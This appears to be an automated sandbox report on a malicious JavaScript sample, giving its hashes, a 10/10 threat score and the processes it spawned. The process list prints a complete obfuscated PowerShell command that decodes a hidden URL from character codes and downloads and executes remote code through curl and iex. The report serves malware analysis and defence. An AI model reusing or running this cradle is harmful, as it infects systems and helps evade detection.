Analysis
-
max time kernel
117s -
max time network
117s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 15:07
General
-
Target
f392b38ec84a5b755647944405efdd102dd270f3390dab66e5c647f892e1c170.js
-
Size
173KB
-
MD5
a85db1311ff98b2c5a37c318e0b17518
-
SHA1
4e9e0c84f88c0d0f3302aa315ab08fbf12f6fa69
-
SHA256
f392b38ec84a5b755647944405efdd102dd270f3390dab66e5c647f892e1c170
-
SHA512
5955d601125bb4afac3d980a302eb3dcfaa791481eb2db6ea488cd43108c420b5da51f7530a7329146e6912f06a466e6640cbc01e8bdebb7d760f4d8d08fb665
-
SSDEEP
1536:nw8xskZw87t6FcH7xcWgWEioo4rWMT+87t6FcH7xcWgWEioo4rWMTEWgWEioo4ri:nDFww7mRi09qw7ORi09QRi09aw77w7Z
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\f392b38ec84a5b755647944405efdd102dd270f3390dab66e5c647f892e1c170.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $ivomwytuxbhezj='ur' ;new-alias printout c$($ivomwytuxbhezj)l;$lwjotvbadqm=(6792,6803,6811,6795,6797,6792,6812,6811,6816,6749,6811,6745,6792,6740,6810,6805,6806,6741,6743,6740,6806,6798,6806,6757,6809,6755,6803,6799,6804,6810,6809,6744,6743);$itjcrgnlapbqsk=('bronx','get-cmdlet');$gvdjoiknctubye=$lwjotvbadqm;foreach($bweuhmdofvg in $gvdjoiknctubye){$fohnzx=$bweuhmdofvg;$zhynwk=$zhynwk+[char]($fohnzx-6694);$smqhpzda=$zhynwk; $gcljrwh=$smqhpzda};$wshrdljvpx[2]=$gcljrwh;$epzkxfsbgty='rl';$ozyrlwgh=1;.$([char](9992-9887)+'e'+'x')(printout -useb $gcljrwh)1⤵
- Process spawned unexpected child process